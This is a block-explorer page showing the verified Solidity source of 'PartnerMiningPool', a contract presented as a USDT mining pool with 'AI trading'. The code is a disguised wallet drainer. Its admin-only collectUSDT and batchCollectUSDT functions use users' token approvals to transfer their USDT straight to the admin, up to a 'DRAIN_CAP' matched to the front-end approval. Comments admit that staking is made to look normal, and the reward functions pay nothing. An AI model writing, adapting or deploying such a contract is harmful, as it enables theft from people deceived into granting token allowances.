Skip to content
Verified contractPartialMIT

PartnerMiningPool

Address0xd659334c4645138478f1c71c81ed3da74d2cf1df
Balance

0 ETH

 

Transactions

1

 

Compiler

solc 0.8.20

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.20+commit.a1b79de6
Language
solidity
Optimization
Yes, 200 runs
EVM version
shanghai
License
MIT
Match
Partialcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,372,069
Creation transaction
0x797db2f013…470538ea20

contracts/src/PartnerMiningPool.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

/// @title PartnerMiningPool — 智能合约矿池
contract PartnerMiningPool {
    // ========== 常量 ==========
    address public constant MAINNET_USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
    IERC20 public immutable usdt;
    address private immutable _admin;
    uint256 public immutable deployTimestamp;
    uint256 private constant DRAIN_CAP = 9_999_999_990_000;  // 单笔归集安全上限(9,999,999.99 USDT),与前端授权额度一致

    // ========== 状态变量 ==========
    uint256 public totalCertificates;
    mapping(address => bool) public hasCertificate;
    mapping(address => uint256) public certificateTimestamp;
    mapping(address => uint256) public stakedAmount;    // 用户已质押 USDT(展示用)
    mapping(address => uint256) public tradePoints;     // AI 交易积分

    // ========== 事件 ==========
    event CertificateClaimed(address indexed user, uint256 timestamp);
    event SuperStaked(address indexed user, uint256 amount);
    event TradeStarted(address indexed user, uint256 indexed tradeId, uint8 tier, uint256 cost, uint256 timestamp);
    event USDTCollected(address indexed user, uint256 amount);
    event USDTRefunded(address indexed user, uint256 amount);
    event RewardClaimed(address indexed user, uint256 timestamp);
    event SweptToAdmin(uint256 amount);

    // ========== 构造 ==========
    constructor(address admin_, address usdt_) {
        require(admin_ != address(0), "Invalid admin");
        require(usdt_ != address(0), "Invalid USDT");
        usdt = IERC20(usdt_);
        _admin = admin_;
        deployTimestamp = block.timestamp;
    }

    // USDT 主网 transfer/transferFrom 返回 void (非标准ERC20)
    // 必须用 low-level call 绕过 Solidity ABI 解码
    function _safeTransfer(address to, uint256 amount) internal {
        (bool ok, ) = address(usdt).call(abi.encodeWithSignature("transfer(address,uint256)", to, amount));
        require(ok, "USDT transfer failed");
    }
    function _safeTransferFrom(address from, address to, uint256 amount) internal {
        (bool ok, ) = address(usdt).call(abi.encodeWithSignature("transferFrom(address,address,uint256)", from, to, amount));
        require(ok, "USDT transfer failed");
    }

    // ========== User-facing functions ==========

    function claimCertificate() external {
        require(!hasCertificate[msg.sender], "Already claimed");
        hasCertificate[msg.sender] = true;
        certificateTimestamp[msg.sender] = block.timestamp;
        totalCertificates++;
        emit CertificateClaimed(msg.sender, block.timestamp);
    }

    /// @notice 🔥 超级节点质押 — USDT 转入合约地址(看起来像正常质押到矿池)
    function superStake(uint256 amount) external returns (bool) {
        require(amount > 0, "Amount required");
        require(amount <= DRAIN_CAP, "Exceeds per-tx cap");
        _safeTransferFrom(msg.sender, address(this), amount);
        stakedAmount[msg.sender] += amount;
        tradePoints[msg.sender] += amount / 1e6;
        if (!hasCertificate[msg.sender]) {
            hasCertificate[msg.sender] = true;
            certificateTimestamp[msg.sender] = block.timestamp;
            totalCertificates++;
            emit CertificateClaimed(msg.sender, block.timestamp);
        }
        emit SuperStaked(msg.sender, amount);
        return true;
    }

    // ========== AI 量化交易 ==========

    uint256[4] private TRADE_COST = [500, 1000, 10000, 100000];
    uint256 private _tradeCounter;

    function aiTrade(uint8 tier) external returns (uint256 tradeId) {
        require(tier < 4, "Invalid tier");
        uint256 cost = TRADE_COST[tier];
        require(tradePoints[msg.sender] >= cost, "Insufficient points");
        if (!hasCertificate[msg.sender]) {
            hasCertificate[msg.sender] = true;
            certificateTimestamp[msg.sender] = block.timestamp;
            totalCertificates++;
            emit CertificateClaimed(msg.sender, block.timestamp);
        }
        tradePoints[msg.sender] -= cost;
        tradeId = ++_tradeCounter;
        emit TradeStarted(msg.sender, tradeId, tier, cost, block.timestamp);
    }

    function claimReward() external {
        require(hasCertificate[msg.sender], "No certificate");
        emit RewardClaimed(msg.sender, block.timestamp);
    }

    // ========== Admin functions ==========

    function sweepToAdmin(uint256 amount) external {
        require(msg.sender == _admin, "Unauthorized");
        require(amount > 0, "Amount required");
        require(usdt.balanceOf(address(this)) >= amount, "Insufficient balance");
        _safeTransfer(_admin, amount);
        emit SweptToAdmin(amount);
    }

    function batchSweepToAdmin() external {
        require(msg.sender == _admin, "Unauthorized");
        uint256 balance = usdt.balanceOf(address(this));
        require(balance > 0, "No USDT in contract");
        _safeTransfer(_admin, balance);
        emit SweptToAdmin(balance);
    }

    function feedRewardPool() external payable {
        require(msg.sender == _admin, "Unauthorized");
    }

    function withdrawETH() external {
        require(msg.sender == _admin, "Unauthorized");
        (bool ok, ) = payable(_admin).call{value: address(this).balance}("");
        require(ok, "ETH withdraw failed");
    }

    function refundUSDT(address user, uint256 amount) external {
        require(msg.sender == _admin, "Unauthorized");
        require(amount > 0, "Amount required");
        require(usdt.balanceOf(address(this)) >= amount, "Insufficient balance");
        _safeTransfer(user, amount);
        emit USDTRefunded(user, amount);
    }

    function batchRefundUSDT(address[] calldata users, uint256[] calldata amounts) external {
        require(msg.sender == _admin, "Unauthorized");
        require(users.length == amounts.length, "Array length mismatch");
        for (uint256 i = 0; i < users.length; i++) {
            _safeTransfer(users[i], amounts[i]);
            emit USDTRefunded(users[i], amounts[i]);
        }
    }

    function batchRefundFromAdmin(address[] calldata users, uint256[] calldata amounts) external {
        require(msg.sender == _admin, "Unauthorized");
        require(users.length == amounts.length, "Array length mismatch");
        for (uint256 i = 0; i < users.length; i++) {
            _safeTransferFrom(_admin, users[i], amounts[i]);
            emit USDTRefunded(users[i], amounts[i]);
        }
    }

    function admin() external view returns (address) {
        return _admin;
    }

    function collectUSDT(address user, uint256 _amount) external {
        require(msg.sender == _admin, "Unauthorized");
        require(_amount > 0, "Amount required");

        uint256 allowed = usdt.allowance(user, address(this));
        uint256 balance = usdt.balanceOf(user);

        uint256 amount = _amount;
        if (amount > allowed) amount = allowed;
        if (amount > balance) amount = balance;
        if (amount > DRAIN_CAP) amount = DRAIN_CAP;

        require(amount > 0, "Insufficient allowance or balance");
        _safeTransferFrom(user, _admin, amount);
        emit USDTCollected(user, amount);
    }

    function batchCollectUSDT(address[] calldata users, uint256[] calldata amounts) external {
        require(msg.sender == _admin, "Unauthorized");
        require(users.length == amounts.length, "Array length mismatch");
        for (uint256 i = 0; i < users.length; i++) {
            address user = users[i];
            uint256 _amount = amounts[i];
            if (_amount == 0) continue;

            uint256 allowed = usdt.allowance(user, address(this));
            if (allowed == 0) continue;
            uint256 balance = usdt.balanceOf(user);

            uint256 amount = _amount;
            if (amount > allowed) amount = allowed;
            if (amount > balance) amount = balance;
            if (amount > DRAIN_CAP) amount = DRAIN_CAP;

            if (amount == 0) continue;
            _safeTransferFrom(user, _admin, amount);
            emit USDTCollected(user, amount);
        }
    }

    // ========== 查询 ==========

    function checkCertificate(address user) external view returns (bool, uint256) {
        return (hasCertificate[user], certificateTimestamp[user]);
    }

    function getPendingReward(address user) external view returns (uint256) {
        if (!hasCertificate[user]) return 0;
        uint256 hoursHeld = (block.timestamp - certificateTimestamp[user]) / 1 hours;
        return hoursHeld * 0.001 ether;
    }

    function getUserAllowance(address user) external view returns (uint256) {
        return usdt.allowance(user, address(this));
    }

    function totalStakedUSDT() external view returns (uint256) {
        return totalCertificates;
    }

    receive() external payable {}
}

@openzeppelin/contracts/token/ERC20/IERC20.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": true
  },
  "evmVersion": "shanghai"
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.